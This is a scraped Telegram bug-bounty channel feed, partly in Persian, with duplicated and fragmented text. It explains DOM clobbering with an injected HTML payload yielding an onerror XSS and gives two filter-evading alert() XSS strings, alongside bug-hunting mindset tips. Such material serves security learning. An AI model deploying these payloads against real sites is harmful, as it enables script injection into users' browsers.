This is how DOM clobbering works.
When you create an element with an id, the browser automatically creates a global variable for that ID:
Now
But when you create multiple elements with the same id:
Now
Add a name attribute:
And
Now combine that with a common JS pattern like:
This is meant to provide a fallback if the global doesn't exist. However, if
Now imagine this JS logic:
If an attacker clobbered
If HTML is set via innerHTML or similar, then this could render as:
When you create an element with an id, the browser automatically creates a global variable for that ID:
<a id="foo"></a>
Now
window.foopoints to that single element.
But when you create multiple elements with the same id:
<a id="foo"></a>
<a id="foo"></a>
Now
becomes an HTMLCollection, not a single element.
window.foo
Add a name attribute:
<a id="foo" name="bar" href="..."></a>
And
now points to that element (works in Chromium/WebKit browsers, but not Firefox).
window.foo.bar
Now combine that with a common JS pattern like:
var someObject = window.someObject || {};
This is meant to provide a fallback if the global doesn't exist. However, if
window.someObjecthas been clobbered by injected HTML, the fallback silently trusts a DOM object instead of a real JS object.
Now imagine this JS logic:
let imgSrc = someObject.avatar;
If an attacker clobbered
someObject.avatarwith:
<a id=someObject></a>
<a id=someObject name=avatar href='cid:"onerror=alert(1)//'></a>
If HTML is set via innerHTML or similar, then this could render as:
<img src="cid:" onerror="alert(1)//"">
❤7 3 2
How to survive the AI wave in #bugbounty:
- Learn to utilize AI in your hacking flow
- Don't worry too much because automated AI is never going to *fully* replace us. There are lots of programs out there which will be hard for an AI to test fully.😡 🤬
https://x.com/zseano/status/1938144252992884824?s=46
- Learn to utilize AI in your hacking flow
- Don't worry too much because automated AI is never going to *fully* replace us. There are lots of programs out there which will be hard for an AI to test fully.
https://x.com/zseano/status/1938144252992884824?s=46
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
https://nostarch.com/zero-day
این کتابو هرجور نشده تهیه کنید و بخونید
من نمیتونم اینجا چیزی بذارم یا بگم.
ولی دنبالش باشید
این کتابو هرجور نشده تهیه کنید و بخونید
من نمیتونم اینجا چیزی بذارم یا بگم.
ولی دنبالش باشید
Nostarch
From Day Zero to Zero Day
Find vulnerabilities before anyone else does.
🙏2❤1👍1
❤4
Forwarded from Electro0ne Bytes 🦅 (ᴍͥᴏᴇͣɪͫɴ)
Think like a developer, act like an attacker. Study how applications are built before you try to break them. Understanding architecture, common frameworks, authentication flows, and data handling patterns will give you a huge edge. Don’t chase bugs randomly — build hypotheses, validate them, and go deep. And most importantly, document everything. A disciplined hacker is a dangerous one. 😡 😎
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12 4❤3
گایز طبق تجربه کوچیکم یه چیزی میگم:
بعضی وقتا یه باگ پیدا میکنین مثلا unpredictable idor
و سریع میرین گزارش میدین اشتباهه
اگر باگ رو به سختی پیدا کردین صبرکنین و برین راهی برای predictable کردنش پیدا کنین
من واسه 2 باگ، چند ماه صبر کردم و نتیجه شو گرفتم
الانم دقیقا ۲ تا دارم که برم گزارش بدم مدیوم میشن
ولی گذاشتم یه گوشه هر بار میرم یه سیخی میزنم شاید تونستم impact رو بیشتر کنم
یه تایمی براش تعیین کردم، بعدش نشد سریع گزارش میدم
بعضی وقتا یه باگ پیدا میکنین مثلا unpredictable idor
و سریع میرین گزارش میدین اشتباهه
اگر باگ رو به سختی پیدا کردین صبرکنین و برین راهی برای predictable کردنش پیدا کنین
من واسه 2 باگ، چند ماه صبر کردم و نتیجه شو گرفتم
الانم دقیقا ۲ تا دارم که برم گزارش بدم مدیوم میشن
ولی گذاشتم یه گوشه هر بار میرم یه سیخی میزنم شاید تونستم impact رو بیشتر کنم
یه تایمی براش تعیین کردم، بعدش نشد سریع گزارش میدم
❤25
Forwarded from Electro0ne Bytes 🦅 (ᴍͥᴏᴇͣɪͫɴ)
Here I will tell you a few things that will affect you in the bug bounty.
Mindset🧠
Sometimes it doesn't catch you for a few days, but you still find a valuable bug.
By pushing too hard when your brain is tired, the quality of your work will decrease. Rest is part of the process.
Someone who got a bug today might have been a zero last week.
In Hunting🉐
Map out the architecture, APIs, auth flow, user roles, etc.
Strange inputs, unusual usage patterns, or borderline behaviors.
automate the web application changes or when a subdomain get http service up
Updates may create new auth bypass, XSS, or misconfig.
Mindset
Be patient, not desperate
Sometimes it doesn't catch you for a few days, but you still find a valuable bug.
Avoid burnout
By pushing too hard when your brain is tired, the quality of your work will decrease. Rest is part of the process.
Compare with yourself, not others
Someone who got a bug today might have been a zero last week.
In Hunting
Know the app inside out
Map out the architecture, APIs, auth flow, user roles, etc.
Always test edge cases
Strange inputs, unusual usage patterns, or borderline behaviors.
Automate the boring parts
automate the web application changes or when a subdomain get http service up
Re-test old stuff after updates
Updates may create new auth bypass, XSS, or misconfig.
Please open Telegram to view this post
VIEW IN TELEGRAM
alert XSS PoC with limits1) without spaces and quotes
parent[/al/.source+/ert/.source](1)
2) without spaces, quotes, + sign
parent[/al/.source.concat(/ert/.source)](2)
👍9❤1